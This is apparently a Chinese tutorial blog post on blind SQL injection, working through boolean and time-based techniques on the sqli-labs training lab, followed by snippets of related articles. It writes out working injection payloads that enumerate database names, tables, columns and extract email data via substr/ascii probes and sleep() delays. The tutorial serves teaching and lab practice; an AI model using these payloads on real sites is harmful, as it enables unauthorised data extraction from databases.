sql注入之盲注相关知识

article/2025/9/13 16:40:49

盲注

一.概念理解:

盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。

二.盲注基本条件:

自己可以控制输入
原程序要执行的代码拼接了用户输入的数据。

三.分类:

基于布尔型:返回true或false
基于时间盲注:sleep()延时盲注

布尔盲注:题目为sqllab-less-8

1.正常页面回显样子为:

?id=1 and 1=1  

(利用and同时为真才返回true,or同时为假才返回false)
在这里插入图片描述

2.查看语句错误时的回显页面样子:

(此题我们输入id=1’仍然是正常回显,因此在这并不适用)

id=1' and 1=2

在这里插入图片描述
通过闭合多余的单引号从而使添加进去的sql语句正确执行

3.查数据库长度:

输入以下语句去猜数据库长度,or同时为假返回false

?id=0' or length(database())>7%23    true
?id=0' or length(database())>8--+    false
?id=0' or length(database())=8--+    true

在这里插入图片描述

通过length函数去猜数据库的长度,最后确认数据库长度为八

4.猜数据库第一位字符。

可以先用substr函数取数据库的第一位字符,然后为了方便匹配我们将拿到的第一个字符转换成对应的ASCII值,再与猜测的ASCII值进行大小比较。通过修改limit的参数逐步得到该数据库的第二位字符第三位字符……最终得到数据库全名为security
输入以下语句:

?id=0' or ascii(substr(database(),1,1))>100--+  true
?id=0' or ascii(substr(database(),1,1))>120--+  false
?id=0' or ascii(substr(database(),1,1))=115--+  true

在这里插入图片描述

5.猜测数据库中的表数量

测试 or 4 = 正常 、or 5 = 失败

?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+

在这里插入图片描述

6.猜测第一个表中的第一个字符

查找security这个数据库中的第一个表中(用limit控制输出第一个表名)的第一个字符对应的ASCII值

?id=0' or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

在这里插入图片描述

7.猜测字段长度

此处猜长度用length函数会报错

?id=0' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2--+

在这里插入图片描述

8.查第一个字段全名

通过上一步逐步猜解security数据库中第一个表的全名,最终得到第一个表的表名为emails。然后要猜测emails这个表中的第一个字段的第一个字符,逐步猜测最终得到第一个字段的名字为id。不断改变ASCII的比较值来确定字段名中的字符。

?id=0' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>104--+

在这里插入图片描述

9.猜测表中字段具体内容的条数

在上面步骤中已经知道了数据库名和表名,所以在下面命令中可以直接写出

?id=0' or 8=(select count(id) from security.emails)--+

在这里插入图片描述

10.查email_id字段的第一条具体内容

?id=0' or ascii(substr((select email_id from security.emails limit 0,1),1,1))=68--+

在这里插入图片描述

时间盲注

不能根据页面返回内容判断任何信息,但可以添加条件语句来判断时间是否执行了延迟。基本的猜测步骤同上,只是在原来的基础上添加了if条件语句,注入时间延迟。可以打开浏览器的控制台(按f12),点击网络选项查看。
在这里插入图片描述
例题为sqllab-less-9

1.判断是否为时间盲注

?id=1' and sleep(5) --+

时间明显有延迟
在这里插入图片描述

2.插入if条件语句看是否执行了时间延迟,获取数据库长度

?id=1' and if(length(database())=8,sleep(5),0)--+

在这里插入图片描述
……
后面步骤类似于布尔盲注,具体可以看大神的博客文章
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

四.补充

1.单引号闭合问题再理解:

正常输入?id=1时页面是正常回显,发现输入的内容在语句中是id=‘1’,值被一对单引号包裹着。
在这里插入图片描述
然后我们再输入?id=1*2’,会发现页面有报错,在黄色语句中发现是id值引号不匹配原因造成的,左边是单引号,右边在原有的单引号基础上加上了我们添加的一个单引号就成了双引号,出现了语法错误。
在这里插入图片描述
既然我们知道了导致语法错误的原因在于引号,为了不报错,我们可以将不匹配的一个单引号注释掉,这样id值的引号闭合了,语句不报错,然后注入就基于此,我们可以在闭合后添加我们的sql语句执行却不报错。(可理解为我们添加的单引号被当成右边的单引号了,而原本右边的那个单引号成了第三个单引号,我们就可以对它进行注释掉!!!)
mysql注释的方法:
#与 --+ 分别代表mysql的单行注释
(%23为#号经过url编码后的结果)
url中直接输入#仍然报错,可以写成%23
在这里插入图片描述
在这里插入图片描述

2.认识一些mysql函数

length():返回字符串的长度
substr(str,pos,num) :截取指定位置指定长度的字符串
mid(str,pos,num) :截取指定位置指定长度的字符串
ascii() 查询ascii码中对应的值
char() 查询字符对应的ascii值

3.mysql的limit子句

LIMIT子句可用于强制SELECT语句返回指定数量的记录。
mysql> SELECT * FROM table LIMIT 5,10;
//检索记录行6-15。


http://chatgpt.dhexx.cn/article/XIb8tRe6.shtml

相关文章

盲注--理论知识

盲注的简单定义: 我们在查询过程中,页面只有两种情况:“true”和“false”,要么有,要么没有;查询表的记录和语句错误也不会显示。这种状况下的注入,称为盲注。 盲注的关键点: 根据…

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」:此文章已录入专栏《网络安全快速入门》 布尔盲注 一、适用环境二、盲注步骤三、原理分析1. 长度判断原理2. 穷举字…

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 (一)布尔盲注 (二)时间盲注 3、盲注常用方法 (一)length()函数 (二)substr()截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例) 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部,每个数据表都有一个伪列ROWID,用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容,而UROWID(universal rowid)类型可…

Oracle中ROWNUM伪列和ROWID伪列的用法与区别

做过Oracle分页的人都知道由于Oracle中没有像MySql中limit函数以及SQLServer中的top关键字等,所以只能通过伪列的方式去满足分页功能,在此,不谈分页方法,只从根本上去介绍这两个伪列的用法与原理,同样还是以scott用户的…

Silverlight MMORPG WebGame游戏设计(二)--通讯协议之惑

晚上看到我在silverlight webGame上的导师"深蓝色右手"拿到 荣誉,觉得他名至实归。回想自己2010过年来到北京忙于一些琐屑的事情,好久没有动手写我的web传奇了。 去年在群里说我过年要开源我的Web传奇,写一些服务端的文章。后来我发…

amf webgame

一篇来自职业欠钱哥哥的东西,很有帮助。 这两年WebGame比较火,WebGame中,前端用Flash表现比较多,而服务器端依然是Web应用。 不少产品已经开始用AMF(Action Message Format)来取代标准的HTTP交互。&#xf…

webgame《天龙诀》完整网页游戏源码

webgame 天龙诀源码,网页端使用了Flash游戏引擎,服务端c开发,解压后488mb,仅供学习参考,请勿用于商业用途。 天龙诀剧情情节扣人心弦,让各位玩家身临其境,化身门派高手经历艰难险阻、感受受生死…

[转]用python来开发webgame服务端(4)

[刺鸟原创文章,转载请注明出处] 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种: 1、用现成的协议及类库处理,比如:py…

[转]用python来开发webgame服务端(2)

[刺鸟原创文章,转载请注明出处] 就在刚才,我们用基于python下的Twisted库写了一个简单的socket服务器,不知道它的性能和基本的承载到底如何呢?接下来,我们作一个简单的测试。 说是简单的测试,一点也不假…

转:: 刺鸟:用python来开发webgame服务端(1)

来源:http://ciniao.me/article.php?id9 --------------- 刺鸟原创文章,转载请注明出处 在开始之前,先简单描述一下项目的特点:我要实现的是一个mmorpg的webgame,地图上需要看到其他的玩家,战斗系统采用…

转:: 刺鸟:用python来开发webgame服务端(4)

来源:http://ciniao.me/article.php?id14 --------------- 刺鸟原创文章,转载请注明出处 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种&am…

[转]用python来开发webgame服务端(3)

[刺鸟原创文章,转载请注明出处] 在之前的准备工作中,我们已经建立了一个socket服务器,并且经过了简单的测试,得到的结论是python可以满足我们的需求,那么接下来,我们要解决的是身为webgame服务端必须的几个…

转:: 刺鸟:用python来开发webgame服务端(2)

来源:http://ciniao.me/article.php?id10 --------------- 刺鸟原创文章,转载请注明出处 就在刚才,我们用基于python下的Twisted库写了一个简单的socket服务器,不知道它的性能和基本的承载到底如何呢?接下来&#…

转:: 刺鸟:用python来开发webgame服务端(3)

来源:http://ciniao.me/article.php?id11 --------------- 刺鸟原创文章,转载请注明出处 在之前的准备工作中,我们已经建立了一个socket服务器,并且经过了简单的测试,得到的结论是python可以满足我们的需求&#x…

用python来开发webgame服务端(4)

http://ciniao.me/article.php?id14 前面的工作都已准备就绪,现在我们得来看看服务端怎么和客户端之间进行通信了,Python和FLASH之间的通信,我整理为以下3种: 1、用现成的协议及类库处理,比如:pyamf …

用python来开发webgame服务端(2)

http://ciniao.me/article.php?id10 刺鸟原创文章,转载请注明出处 就在刚才,我们用基于python下的Twisted库写了一个简单的socket服务器,不知道它的性能和基本的承载到底如何呢?接下来,我们作一个简单的测试。 …

用python来开发webgame服务端(3)

刺鸟原创文章,转载请注明出处 在之前的准备工作中,我们已经 建立了一个socket服务器 ,并且经过了 简单的测试 ,得到的结论是python可以满足我们的需求,那么接下来,我们要解决的是身为webgame服务端必须…